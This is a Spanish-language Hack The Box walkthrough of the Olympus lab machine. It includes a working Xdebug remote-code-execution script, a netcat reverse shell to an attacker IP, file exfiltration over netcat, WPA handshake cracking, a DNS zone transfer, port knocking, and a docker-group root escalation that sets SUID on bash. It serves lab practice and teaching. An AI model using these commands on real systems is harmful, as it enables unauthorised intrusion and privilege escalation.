Volver atras HTB Olympus | Savinotes

HTB Olympus

Olympus {-}

Introduccion {-}

La maquina del dia 22/07/2021 se llama Olympus.

El replay del live se puede ver en Twitch: S4vitaar Olympus maquina

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.83

ttl: 63 -> maquina linux Recuerda que en cuanto a ttl 64 es igual a linux y 128 es igual a windows pero como estamos en hackthebox hay un nodo intermediario que hace que disminuya el ttl en una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.83

Si consideras que va muy lento, puedes utilizar los siguientes parametros para que valla mucho mas rapido

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.10.83 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,80,2222 10.10.10.83 -oN targeted
PuertoServicioQue se nos occure?Que falta?
53domainDomain zone transferUn nombre de dominio
80httpwhatweb, http-enumCheckear la web
2222sshconexion a la maquinaUsuario contraseña

Empezamos por el puerto 80 {-}

Whatweb {-}

whatweb http://10.10.10.83

Nada interesante

Browsear la web {-}

Hay una imagen, se nos occure steganografia pero no hay nada.

El Wappalyzer no dice que el servidor web empleado es un Apache.

WFuzz {-}

Como no hay mucho mas que ver, aplicaremos fuzzing para descubrir si hay mas rutas.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.83/FUZZ

No hay nada, creamos un fichero de extensiones txt, php, html y fuzzeamos otravez.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions http://10.10.10.83/FUZZ.FUZ2Z

No hay nada.

Dig {-}

Dig a no confundir con dick ;) es una utilidad que nos permite recojer informaciones a nivel de dns.

  1. Añadir la ip y el hostname en el /etc/hosts

    10.10.10.83 olympus.htb
  2. Lanzar Dig para recojer informaciones

    dig @10.10.10.83 olympus.htb

No hay respuesta valida lo que quiere decir que el dominio no es valido

Checkear las cabezeras de las respuestas a lado del servidor {-}

curl -X GET -s "http://10.10.10.83/" -I

Curl_xdebug

Algo interessante en la respuesta es el Xdebug 2.5.5. Xdebug es una extension de PHP para hacer debug con haremientas depuracion tradicionales, desde el editor, tal como se hace en lenguajes de programacion clasicos. Mas informaciones sobre Xdebug en desarolloweb.com

Evaluacion de Vulnerabilidades {-}

searchsploit {-}

Checkeamos si existe un exploit relacionado con Xdebug 2.5.5

searchsploit xdebug

Hay un script en Ruby (Metasploit) que permitiria hacer execucion de commandos. Analizamos el exploit con el commando

searchsploit -x xdebug

Que hace el exploit?

 'Cookie' => 'XDEBUG_SESSION=+rand_text_alphanumeric(10)' 

Pruebas del exploit {-}

  1. Nos ponemos en escucha en el puerto 9000

    nc -nlvp 9000
  2. Enviamos un peticion GET con el XDEBUG_SESSION en cookie

    curl -s -X GET "http://10.10.10.83/index.php" -H "Cookie: XDEBUG_SESSION=EEEEE"

Recibimos datos del lado del servidor.

Explotacion de la vulnerabilidad {-}

Buscamos un exploit en github y encontramos un script cortito que vamos a modificar y llamar exploit_shell.py

#!/usr/bin/python3

import socket
import pdb

from base64 import b64encode

ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = input('>> ')
    data = data.encode('utf-8')
    conn.sendall(b'eval -i -- ' + b64encode(data) + b'\x00')
  1. Lanzamos el exploit

    python3 exploit_shell.py
  2. Lanzamos una peticion GET

    curl -s -X GET "http://10.10.10.83/index.php" -H "Cookie: XDEBUG_SESSION=EEEEE"
  3. En la mini shell abierta del exploit_shell.py lanzamos un whoami

    system('whoami')    
  4. En la respuesta del curl se nos pone www-data

El exploit funciona y el comando ifconfig nos da una ip que no es la 10.10.10.83. Quiere decir que estamos en un contenedor.

Explotacion de vulnerabilidad & Ganando acceso {-}

Ganando acceso con la vuln XDebug {-}

  1. Nos ponemos en escucha con netcat

    nc -nlvp 443
  2. Con el exploit exploit_shell.py lanzamos una reverse shell

    system('nc -e /bin/bash 10.10.14.20 443')

De esta manera, hemos ganado acceso al equipo.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <numero de filas> columns <numero de columnas>

Investigamos la maquina {-}

cd /home
#Output
zeus

ls /home/zeus
#Output
airgeddon

Airgeddon.cap crack with Aircrack-ng {-}

Airgeddon es una suite de utilidades para hacer auditorias wifi. Entrando en el repertorio airgeddon del usuario zeus encontramos otro repertorio llamado captured. Filtrando el contenido del directorio aigedon por ficheros

 find \-type f 

encontramos un fichero captured.cap

Vamos a transferir el fichero captured.cap a nuestro equipo de atacante

  1. En la maquina de atacante

    nc -nlvp 443 > captured.cap
  2. En el contenedor

    nc 10.10.14.28 443 < captured.cap

Sabiendo que Airgeddon es una utilidad de auditoria wifi intentamos ver lo que contiene el captured.cap con la utilidad aircrack-ng.

aircrack-ng captured-cap

aircrack-airgeddon

Se ve un ESSID que se llama

 To_cl0se_to_th3_Sun 

que parece turbio, y un handshake que significa que alguien a esperado que una victima se connecte o reconecte tras un ataque de deautentificacion y a recuperado el hash de autentificacion.

Analizando la captura con tshark se ve que a sido un ataque de deautentificacion

tshark -r captured.cap 2>/dev/null

o filtrado por deautentificacion

tshark -r captured.cap -Y "wlan.fc.type_subtype==12" -Tfields -e wlan.da 2>/dev/null

Crackeo con Aircrack-ng {-}

aircrack-ng -w /usr/share/wordlists/rockyou.txt captrured.cap

Este crack duraria aprox una hora.

Con investigacion S4vi a pillado una palabra flight en un fichero .txt y buscando por el dios griego del vuelo encontro que este dios seria icarus.

Para ganar tiempo, se crea un diccionario mas pequeñito que contiene la palabra icar

grep "icar" /usr/share/wordlists/rockyou.txt > dictionary.txt
aircrack-ng -w dictionary.txt captured.cap

Ya encontramos la contraseña.

Crackeo con John {-}

Extraemos lo que nos interesa del fichero captured.cap en un fichero mas pequeñito que se llama Captura.hccap que con la utilidad hccap2john no permite transformarlo en un hash compatible con John

aircrack-ng -J Captura captured.cap
hccap2john Captura.hccap > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash

Conexion a la maquina victima{-}

Ahora que tenemos un usuario potencial y una contraseña, intentamos conectar con ssh al puerto 2222

ssh icarus@10.10.10.83

Con la contraseña encontrada no nos funciona. Intentamos con el nombre turbio de esta red inalambrica como contraseña.

Y PA DENTRO

Investigacion de la maquina victima {-}

Hay un fichero que contiene un nombre de dominio valido ctfolympus.htb

Intentamos poner el nombre del dominio en el

 /etc/hosts 

pero la web sigue siendo la misma.

Sabiendo que el puerto 53 esta abierto y teniendo ahora un nombre de dominio valido, podemos hacer un ataque de transferencia de zona con dig

Ataque de transferencia de zona con dig {-}

El tito nos vuelve a decir que es muy importante no confundir la herramienta dig con dick. Dig esta en la categoria Ciencia y Tecnologia y la otra en la categoria HotTub ;)

dig @10.10.10.83 ctfolympus.htb

Como dig nos responde, ya podemos ir enumerando cosas

  1. Enumerar los mail servers

    dig @10.10.10.83 ctfolympus.htb mx
  2. Intentamos un ataque axfr

    dig @10.10.10.83 ctfolympus.htb axfr

dig-ctfolympus

Se puede ver que hay un usuario y una contraseña potencial en un TXT con una lista de puertos. La idea aqui seria de hacer un Port Knocking

Port Knocking {-}

En este caso la idea seria conectarse al puerto 22 (es una suposicion). El problema es que este puerto esta cerrado. La idea de la tecnica de Port Knocking es que si el atacante golpea unos puertos en un orden definido, por iptables se puede exponer o bloquear un puerto.

nmap -p3456,8234,62431,22 --open -T5 -v -n 10.10.10.83 -r

[!] NOTAS: El argumento

 -r 

es para decir a NMAP de scanear los puertos en este mismo orden

Lanzando el comando multiples veces, NMAP nos reporta ahora que el puerto 22 esta ya abierto. Lo que se puede hacer es, de seguida despues del Port Knocking con nmap, lanzar un comando ssh a la maquina.

nmap -p3456,8234,62431,22 --open -T5 -v -n 10.10.10.83 -r && ssh prometheus@10.10.10.83

Perfecto se nos pregunta por una contraseña Y PA DENTRO

En este momento ya se puede ver la flag

 user.txt 

y Podemos pasar a la fase de escalacion de privilegios.

Escalacion de privilegios {-}

Enumeracion del usuario en la maquina victima {-}

whoami
id

Ya es sufficiente aqui porque ya se puede ver quel usuario esta en el grupo Docker.

Escalacion de privilegios con Docker {-}

  1. Checkear las imagenes Docker existentes

    docker ps
  2. Utilizar una imagen existente para crear un contenedor y mountarle la raiz del systema en el contenedor

    docker run --rm -it -v /:/mnt rodhes bash
    cd /mnt/root/
    cat root.txt
  3. Escalar privilegios en la maquina real

    • en el contenedor

      cd /mnt/bin
      chmod 4755 bash
      exit
    • en la maquina real

      bash -p
      whoami
      
      #Output
      root

aircrack-airgeddon